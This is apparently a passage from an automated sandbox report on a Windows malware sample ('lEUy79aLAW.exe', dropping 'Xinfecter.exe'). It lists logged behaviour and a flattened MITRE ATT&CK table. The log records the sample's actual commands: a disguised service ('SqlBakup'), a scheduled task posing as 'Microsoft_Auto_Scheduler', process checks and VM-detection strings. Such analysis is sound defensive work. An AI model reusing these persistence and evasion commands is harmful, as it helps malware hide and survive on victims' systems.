      Source: C:\Windows\SysWOW64\timeout.exe TID: 904Thread sleep count: 131 > 30
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile Volume queried: \Device\CdRom0\ FullSizeInformationJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D8240 SetErrorMode,FindFirstFileW,0_2_009D8240
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D8380 SetErrorMode,FindFirstFileW,SetErrorMode,FindFirstFileW,0_2_009D8380
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009DAF50 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,0_2_009DAF50
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D9ABA lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,SetErrorMode,FindFirstFileW,0_2_009D9ABA
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A8BA6B FindFirstFileExA,0_2_00A8BA6B
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE8240 SetErrorMode,FindFirstFileW,42_2_00BE8240
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE8380 SetErrorMode,FindFirstFileW,SetErrorMode,FindFirstFileW,42_2_00BE8380
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEAF50 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,42_2_00BEAF50
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEAF50 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,42_2_00BEAF50
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEAF50 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,42_2_00BEAF50
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE9ABA lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,SetErrorMode,FindFirstFileW,42_2_00BE9ABA
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C9BA6B FindFirstFileExA,42_2_00C9BA6B
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009DD950 GetLogicalDriveStringsA,0_2_009DD950
      Source: wscript.exe, 0000000E.00000003.2102426580.000000000346A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
      Source: wscript.exe, 0000000E.00000003.2102426580.000000000346A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
      Source: lEUy79aLAW.exe, 00000000.00000002.3317320966.0000000001440000.00000004.00000020.00020000.00000000.sdmp, lEUy79aLAW.exe, 00000000.00000002.3317320966.000000000140C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: wscript.exe, 00000022.00000003.2138535487.00000199C9A2E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
      Source: find.exe, 00000016.00000002.2110279180.000000000337A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information queried: ProcessInformationJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A74F58 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00A74F58
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A600BB LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00A600BB
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A70E79 mov eax, dword ptr fs:[00000030h]0_2_00A70E79
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C80E79 mov eax, dword ptr fs:[00000030h]42_2_00C80E79
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A502E0 TlsGetValue,TlsSetValue,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,0_2_00A502E0
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A74F58 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00A74F58
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A5176D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00A5176D
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A51968 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00A51968
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A51ACA SetUnhandledExceptionFilter,0_2_00A51ACA
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C84F58 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,42_2_00C84F58
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C6176D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,42_2_00C6176D
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C61968 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,42_2_00C61968
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=autoJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.batJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /fJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c echo %date%-%time%Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"Jump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /v /fo csvJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /i "dcdcf"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=autoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" Jump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.batJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /fJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "os name"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /vJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I /c "dcdcf" Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq lEUy79aLAW.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "lEUy79aLAW.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "original"Jump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ver
      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /v
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /I /c "dcdcf"
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009E3DD0 GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,DuplicateToken,AllocateAndInitializeSid,LocalAlloc,InitializeSecurityDescriptor,GetLengthSid,LocalAlloc,InitializeAcl,AddAccessAllowedAce,SetSecurityDescriptorDacl,SetSecurityDescriptorGroup,SetSecurityDescriptorOwner,IsValidSecurityDescriptor,AccessCheck,LocalFree,LocalFree,LocalFree,FreeSid,CloseHandle,CloseHandle,CloseHandle,0_2_009E3DD0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009E3DD0 GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,DuplicateToken,AllocateAndInitializeSid,LocalAlloc,InitializeSecurityDescriptor,GetLengthSid,LocalAlloc,InitializeAcl,AddAccessAllowedAce,SetSecurityDescriptorDacl,SetSecurityDescriptorGroup,SetSecurityDescriptorOwner,IsValidSecurityDescriptor,AccessCheck,LocalFree,LocalFree,LocalFree,FreeSid,CloseHandle,CloseHandle,CloseHandle,0_2_009E3DD0
      Source: Xinfecter.exe, 0000002A.00000002.2196725941.000000000117F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerwClass.0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A51105 cpuid 0_2_00A51105
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: ___crtGetLocaleInfoEx,0_2_00A4C03B
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: GetLocaleInfoW,0_2_00A4C347
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,0_2_00A8E50A
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: EnumSystemLocalesW,0_2_00A8E782
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: EnumSystemLocalesW,0_2_00A8E7CD
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,0_2_00A8E8F5
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: EnumSystemLocalesW,0_2_00A8E868
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: GetLocaleInfoW,0_2_00A8EB45
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: EnumSystemLocalesW,0_2_00A82C30
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,0_2_00A8EC6E
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: GetLocaleInfoW,0_2_00A8ED75
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,0_2_00A8EE42
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: GetLocaleInfoW,0_2_00A8311A
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: ___crtGetLocaleInfoEx,42_2_00C5C03B
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,42_2_00C5C347
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,42_2_00C9E50A
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: EnumSystemLocalesW,42_2_00C9E7CD
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: EnumSystemLocalesW,42_2_00C9E782
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,42_2_00C9E8F5
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: EnumSystemLocalesW,42_2_00C9E868
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,42_2_00C9EB45
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,42_2_00C9EC6E
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: EnumSystemLocalesW,42_2_00C92C30
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,42_2_00C9ED75
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,42_2_00C9EE42
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: GetLocaleInfoW,42_2_00C9311A
      Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A83184 GetSystemTimeAsFileTime,0_2_00A83184
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D36F0 GetUserNameW,0_2_009D36F0
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A8B462 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,0_2_00A8B462
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A56793 GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,__CxxThrowException@8,0_2_00A56793
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009C1960 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,0_2_009C1960
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A62073 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,0_2_00A62073
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A62D69 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,0_2_00A62D69
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009C1020 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,0_2_009C1020
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009C12E0 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,0_2_009C12E0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C72073 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,42_2_00C72073
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C72D69 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,42_2_00C72D69

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information12
      Scripting      		1
      Replication Through Removable Media      		231
      Windows Management Instrumentation      		12
      Scripting      		1
      DLL Side-Loading      		1
      Deobfuscate/Decode Files or Information      		OS Credential Dumping2
      System Time Discovery      		Remote Services1
      Archive Collected Data      		2
      Ingress Tool Transfer      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault Accounts1
      Native API      		1
      DLL Side-Loading      		11
      Windows Service      		2
      Obfuscated Files or Information      		LSASS Memory11
      Peripheral Device Discovery      		Remote Desktop ProtocolData from Removable Media2
      Encrypted Channel      		Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain Accounts1
      Scheduled Task/Job      		11
      Windows Service      		12
      Process Injection      		1
      DLL Side-Loading      		Security Account Manager1
      Account Discovery      		SMB/Windows Admin SharesData from Network Shared Drive11
      Non-Standard Port      		Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal Accounts1
      Service Execution      		1
      Scheduled Task/Job      		1
      Scheduled Task/Job      		1
      File Deletion      		NTDS3
      File and Directory Discovery      		Distributed Component Object ModelInput Capture2
      Non-Application Layer Protocol      		Traffic DuplicationData Destruction
      Gather Victim Network InformationServerCloud AccountsLaunchd12
      Registry Run Keys / Startup Folder      		12
      Registry Run Keys / Startup Folder      		11
      Masquerading      		LSA Secrets58
      System Information Discovery      		SSHKeylogging2
      Application Layer Protocol      		Scheduled TransferData Encrypted for Impact
      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts13
      Virtualization/Sandbox Evasion      		Cached Domain Credentials1
      Network Share Discovery      		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items12
      Process Injection      		DCSync241
      Security Software Discovery      		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
      Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
      Indicator Removal      		Proc Filesystem13
      Virtualization/Sandbox Evasion      		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
      Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow3
      Process Discovery      		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
      IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
      System Owner/User Discovery      		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
